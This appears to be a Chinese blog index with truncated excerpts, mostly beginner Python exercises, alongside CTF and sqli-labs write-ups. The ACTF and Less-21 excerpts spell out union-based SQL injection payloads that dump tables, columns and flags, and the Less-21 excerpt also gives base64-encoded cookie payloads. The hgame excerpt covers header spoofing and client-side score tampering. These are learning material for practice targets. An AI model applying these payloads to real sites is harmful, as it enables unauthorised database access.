python练手之飞机大战
plane_main.pyimport pygamefrom plane_sprites import *class PlaneGame(object): """飞机大战主游戏""" def __init__(self): print("游戏初始化...") # 创建游戏窗口 self.screen=pygame.display.set_mode(SCREEN_RECT.size) # 创建游戏时钟 self.clock=pygame.time.Clock() # 调用私有方法,精灵和精灵组的创建 self.__create_sprites() # 设置定时器事件 - 创建敌机 1s pygame.time.set_timer(CREATE_ENEMY_EVENT,1000) pygame.time.set_timer(HERO_FIRE_EVENT ...
ACTF
webeasyeasySQL由题意sql注入题型,先输入1试试再加个单引号页面无回显,再尝试构造1' --(注意有个空格),提交之后回显又出来了然后利用order by判断列数,3正常,4无回显,说明有3列构造0' union select 1,2,3--尝试联合查询联合查询可以用,然后看表名:0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--目标锁定f1Ag表,构造:0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="f1Ag"--已知列名表名接下来看具体内容了:0' union select 1,2,group_concat(flag) from f1Ag--成功拿到f ...
python杂记
单例设计模式设计模式: ·设计模式是前人工作的总结和提炼,通常,被人们广泛流传的设计模式都是针对某一特定问题的成熟解决方案 ·使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性单例设计模式: ·目的——让类创建的对象,在系统中只有唯一的一个实例 ·每一次执行类名()返回的对象,内存地址是相同的
class MusicPlayer: instance=None def __new__(cls,*args,**kwargs): if cls.instance is None: cls.instance=super().__new__(cls) return cls.instanceplayer1=MusicPlayer()print(player1)player2=MusicPlayer()print(player2)
效果图:对比图:
初始化方法只执行一次:class MusicPlayer: # 记录第一个被创建对象的引用 instance=None # 记录是否执行过初始化动作 i ...
python练手之方法综合
需求:1.设计一个Game类2.属性:·类属性top_score记录游戏的历史最高分·实例属性player_name记录玩家姓名3.方法:·静态方法show_help显示游戏帮助信息·类方法show_top_score显示历史最高分·实例方法start_game开始当前玩家的游戏4.主程序步骤:(1)查看帮助信息(2)查看历史最高分(3)创建游戏对象,开始游戏
class Game(object): top_score=0 def __init__(self,player_name): self.player_name=player_name @staticmethod def show_help(): print("帮助信息:让僵尸进入大门") @classmethod def show_top_score(cls): print("历史记录:%d" % cls.top_score) def start_game(self): ...
python练手之士兵突击
体会一个对象的属性可以是另外一个类创建的对象需求:1.士兵许三多有一把AK47(假设新兵没有枪,枪是后加的)2.士兵可以开火(fire)3.枪能够发射子弹4.枪能够装填子弹——增加子弹数量
fire方法需求:1.判断是否有枪,没有枪没法冲锋2.喊一声口号3.装填子弹4.射击
class Gun: def __init__(self,model): self.model=model self.bullet_count=0 def add_bullet(self,count): self.bullet_count+=count def shoot(self): if self.bullet_count<=0: print("[%s]没有子弹了..." % self.model) else: self.bullet_count-=1 print("[%s]突突突...[%d]" % (self. ...
python练手之摆放家具
需求:1.房子(House)户型、总面积和家具名称列表 ·新房子没有任何家具、2.家具(HouseItem)有名字和占地面积,其中: ·席梦思(bed)占地4平米 ·衣柜(chest)占地2平米 ·餐桌(table)占地1.5平米3.将以上三件家具添加到房子中4.打印房子时,要求输出:户型、总面积、家具名称列表
剩余面积:1.在创建房子对象时,定义一个剩余面积属性,初始值和总面积相等2.当调用add_item方法,向房间添加家具时,让剩余面积-=家具面积
添加家具:1.判断家具面积是否超过房子面积,如果超过提示不能添加这件家具2.将家具名称追加到家具列表中3.用房子的剩余面积-家具面积
class HouseItem: """家具类""" def __init__(self,name,area): self.name=name self.area=area def __str__(self): return "[%s] 占地%.2f平 ...
python练手之交换两个数
解法一利用一个中间变量做桥梁# 假设a=1,b=2,目标实现两数交换a=1b=2print(a,b) # 结果为1 2c=aa=bb=cprint(a,b) # 结果为2 1
解法二不利用中间变量# 假设同上a=1b=2print(a,b) # 结果为1 2a=a+b # 将a+b的和保存在a里面b=a-b # a+b的和去掉b剩下的就是a,然后把它赋给ba=a-b # 此时a里面仍是a+b的和,b里面是原来a的值,a+b的和去掉原来a的值剩下的就是原来b的值,然后赋给aprint(a,b) # 结果为2 1解法一和解法二在其他语言中也可使用
解法三此法为python特有# 假设同上a=1b=2print(a,b) # 结果为1 2a,b=b,a # b,a相当于一个元组,只不过省略了括号,即a,b=(b,a)print(a,b) # 结果为2 1执行效果:
python练手之名片管理系统
main.pyimport toolswhile True: # 显示功能菜单 tools.menu() action_str=input("请选择希望执行的操作:") print("您选择的操作是【%s】" % action_str) if action_str in ["1","2","3"]: if action_str=="1": # 新增名片 tools.create() elif action_str=="2": # 显示所有名片 tools.show() elif action_str=="3": # 搜索名片 tools.search() elif action_str=="0" ...
hgame
Week1Hitchhiking_in_the_Galaxy进入之后是一个404的页面,仔细一看是伪造的。看一波源码
注释说头部标签,并且有个链接HitchhikerGuide.php,而这个链接之前怎么也进不去。那就抓包试试
提示方法不对,换post方式试试。
这个无限非概率引擎大概指搜索引擎,改ua头
从那来,那就改referer
提示本地访问,用xff头
出flag
watermelon进入游戏先玩一局,很快就输了。然后弹出提示,达到2000分即可获取flag。靠普通玩家玩到两千分很困难,所以得用非常规手段——修改网页源码。可以参考文章:https://www.bilibili.com/read/cv9513274
可以看到源码很长,不可能一一看过去。于是可以利用页面搜索的功能,分数的英文单词是score。所以尝试检索score。
将左侧的文件夹全点开一一检索,最终发现project.js文件里检索出大量flag。然后发现这么一段代码,如下图
意思是分数+=水果数+1,于是我们可以将1改为10000等很大的数,这样每次加分都会加上那个数,最终达到2000就很容易。改完按 ...
sqli-labs_21-30
Less-21先登进去看看,用户名admin,密码admin
根据前面的经验,我们尝试抓包看看
注意到有个cookie,并且经过了base64编码,于是猜测可能是cookie注入,但要base64编码,构造admin'(YWRtaW4n)
可以看到报错了,报错信息为:'admin'') LIMIT 0,1,其中有一个单引号是我们输入的,所以可以看出闭合方式为单引号加括号,构造admin')#(YWRtaW4nKSM=)
可以看到恢复正常了,接下来就可以尝试联合查询了,只不过构造的语句要base64编码一下,其他的都一样构造') union select 1,2,3#(JykgdW5pb24gc2VsZWN0IDEsMiwzIw==)
1,2,3都一一回显了,接下来的操作就一样了,然后查表:') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#(JykgdW5pb24gc2Vs ...